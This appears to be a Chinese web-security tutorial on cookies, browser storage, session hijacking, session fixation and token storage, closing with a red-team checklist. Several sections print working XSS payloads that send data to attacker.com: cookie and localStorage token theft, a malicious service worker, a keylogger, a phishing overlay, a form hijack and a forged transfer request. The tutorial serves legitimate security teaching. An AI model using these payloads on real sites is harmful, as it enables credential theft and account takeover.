目录


一、Cookie深度解析

Cookie结构

Set-Cookie: sessionId=abc123; Domain=.example.com; Path=/; 
 Secure; HttpOnly; SameSite=Lax; Max-Age=3600

JS操作Cookie

// 读取所有Cookie(无法读取HttpOnly!)
document.cookie;
// 返回:"username=admin; theme=dark; tracking_id=xyz789"
 
// 设置Cookie
document.cookie = "key=value; path=/; max-age=3600";
 
// 删除Cookie(设过期时间为过去)
document.cookie = "key=; expires=Thu, 01 Jan 1970 00:00:00 GMT";

Cookie的JS可读性

Cookie设置了什么document.cookie能读取吗?
无特殊属性可以
HttpOnly不可以(这是重点!)
Secure仅HTTPS页面可读
Path仅在匹配路径下可见

二、Cookie安全属性

完整属性表

属性作用安全影响
HttpOnly禁止JS读取防御XSS窃取Cookie(最关键的属性之一)
Secure仅HTTPS传输防御中间人嗅探
SameSite=Strict仅同站请求携带完全防御CSRF
SameSite=Lax顶级导航携带大部分防御CSRF
SameSite=None所有请求携带Cookie可跨站(需配合Secure)
DomainCookie作用域设置不当可被子域窃取
PathCookie路径范围限制Cookie粒度
Max-Age / Expires过期时间Session Cookie更安全

SameSite深度理解

SameSite=Strict:
 - 用户从第三方网站点击链接 → 不会带Cookie
 - CSRF不能携带Cookie → CSRF完全防御
 - 但用户体验差(点击链接需要重新登录)

SameSite=Lax (Chrome默认):
 - GET顶级导航(用户点击链接)→ 会带Cookie 
 - iframe/subresource → 不会带Cookie
 - POST跨站表单 → 不会带Cookie (CSRF防御)

SameSite=None:
 - 需要同时设置 Secure
 - 所有请求都会带Cookie
 - CSRF攻击可用 → 必须配合CSRF Token

三、localStorage与sessionStorage

API对比

// localStorage —— 持久化存储(无过期时间)
localStorage.setItem('key', 'value');
localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();
 
// sessionStorage —— 会话级存储(标签页关闭即清除)
sessionStorage.setItem('key', 'value');
sessionStorage.getItem('key');
sessionStorage.removeItem('key');
sessionStorage.clear();

与Cookie对比

特性CookielocalStoragesessionStorage
容量~4KB~5-10MB~5-10MB
有效期可设过期永久标签页级
自动发送到服务器
HttpOnly保护
同源访问是(且同标签页)
XSS可读取视HttpOnly总是可以总是可以

安全对比

// Cookie(安全):HttpOnly防止XSS读取
Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
 
// localStorage(不安全):XSS可直接读取
localStorage.setItem('token', 'abc123');
// 任何XSS都可以做:
// fetch('https://attacker.com/steal?t=' + localStorage.getItem('token'))
 
// 结论:敏感Token存在localStorage ≠ 安全!
// 即使没有Cookie窃取风险,XSS仍然可以通过JS发起请求

四、IndexedDB与WebSQL

IndexedDB

// 打开数据库
const request = indexedDB.open('MyDatabase', 1);
 
request.onsuccess = function(e) {
 const db = e.target.result;
 
 // 创建事务
 const tx = db.transaction('users', 'readwrite');
 const store = tx.objectStore('users');
 
 // 写入数据
 store.add({ id: 1, name: 'admin', token: 'secret_token' });
 
 // 读取数据
 const getReq = store.get(1);
 getReq.onsuccess = function() { console.log(getReq.result); };
};

安全影响

  • IndexedDB没有HttpOnly等保护机制
  • 同源的JS可以读写所有IndexedDB数据
  • XSS可以遍历IndexedDB窃取缓存数据
  • 一些PWA(Progressive Web App)用IndexedDB存储敏感数据 → 攻击面

五、Cookie窃取技术

基本窃取

// XSS payload - 窃取Cookie
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
 
// 使用Image(绕过某些CSP)
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

即使HttpOnly也能利用Session

// HttpOnly阻止了JS读取Cookie,但不阻止Cookie被浏览器自动发送!
// 攻击者可以在XSS中直接发起请求,浏览器会自动携带HttpOnly Cookie
 
// 直接利用当前Session发起恶意操作
fetch('https://bank.com/transfer', {
 method: 'POST',
 credentials: 'include', // 自动带HttpOnly Cookie
 headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
 body: 'to=attacker&amount=10000'
});
// 结论:HttpOnly防止Cookie被窃取,但不防止Cookie被使用!

通过Service Worker窃取

// Service Worker可以拦截所有请求(包括带HttpOnly Cookie的)
// 注册恶意SW:
navigator.serviceWorker.register('/evil-sw.js');
 
// evil-sw.js:
self.addEventListener('fetch', event => {
 const url = event.request.url;
 // 将所有请求URL发送到攻击者服务器
 fetch('https://attacker.com/log?url=' + encodeURIComponent(url));
 
 // 正常处理请求
 event.respondWith(fetch(event.request));
});

六、Session劫持完整流程

完整攻击链

阶段1:信息收集
 - 确认目标使用Session机制(Cookie名如PHPSESSID, JSESSIONID)
 - 确认Cookie是否有HttpOnly、Secure、SameSite

阶段2:获取Session凭证
 路径A(无HttpOnly):
 XSS → document.cookie → 外泄到攻击者服务器
 
 路径B(有HttpOnly):
 XSS → 直接利用当前页面发起操作(不看Cookie值)
 或:中间人攻击 → 网络层窃取Cookie

阶段3:Session固定攻击(Session Fixation)
 - 攻击者先获得一个Session ID
 - 诱导受害者使用相同的Session ID登录
 - 攻击者用已知道的Session ID访问受害者的Session

阶段4:Session重用
 - 将窃取的Cookie注入浏览器
 - 访问目标网站 → 服务器认为你是受害者

Session Fixation攻击

// 1. 攻击者访问网站 → 获得 Session ID: abc123
// 2. 攻击者构造URL:https://target.com/login?PHPSESSID=abc123
// 3. 诱导受害者点击该URL
// 4. 受害者登录 → Session abc123 现在关联了受害者的身份
// 5. 攻击者用 Cookie: PHPSESSID=abc123 访问 → 以受害者身份操作

XSS中的高级利用

// 即使HttpOnly,XSS仍可做很多事:
 
// 1. 修改页面内容进行钓鱼
document.body.innerHTML = `
 <div style="position:fixed;top:0;left:0;right:0;bottom:0;background:white;z-index:9999">
 <h1>Session已过期,请重新登录</h1>
 <form action="https://attacker.com/steal" method="POST">
 <input name="username" placeholder="用户名">
 <input type="password" name="password" placeholder="密码">
 </form>
 </div>
`;
 
// 2. 添加键盘记录器
document.addEventListener('keypress', function(e) {
 fetch('https://attacker.com/keylog?k=' + e.key);
});
 
// 3. 修改表单action
document.querySelector('form').action = 'https://attacker.com/steal';

七、Token存储的前端安全问题

常见Token存储方式的优劣

存储方式XSS窃取CSRF持久化推荐
Cookie + HttpOnly + Secure + SameSite防御推荐
localStorage防御
sessionStorage防御
内存变量(闭包)否(刷新就丢)
Cookie(无HttpOnly)防御

JWT存储的最佳实践

// 方案:Access Token(内存) + Refresh Token(Cookie HttpOnly)
 
// Access Token:存在内存(JS变量)
let accessToken = null;
 
// Refresh Token:存在Cookie(HttpOnly, Secure, SameSite=Strict)
// 自动携带,JS无法读取
 
// Token刷新流程
async function refreshAccessToken() {
 const resp = await fetch('/api/refresh', {
 method: 'POST',
 credentials: 'include', // 自动带Refresh Token Cookie
 });
 const data = await resp.json();
 accessToken = data.access_token; // 新Token放内存
}

八、红队视角总结

Cookie攻击检查清单

  • Cookie是否有HttpOnly?(如果没有 → 直接窃取)
  • Cookie是否有Secure?(如果没有 → 可中间人)
  • Cookie是否有SameSite?(如果没有 → CSRF直接利用)
  • Session ID是否在登录后重新生成?(如果没有 → Session Fixation)
  • Token是否存储在localStorage?(如果是 → XSS可直接窃取)
  • 是否存在Flash Cookie / Silverlight等遗留存储?
  • Service Worker是否能被注册/劫持?

工具

工具用途
Chrome DevTools → Application → Cookies查看Cookie属性
EditThisCookie (Chrome扩展)Cookie编辑
Burp Suite SequencerSession Cookie随机性分析
Cookie-Editor (Firefox)Cookie操作

返回 JavaScript 总目录 | 前端基础总目录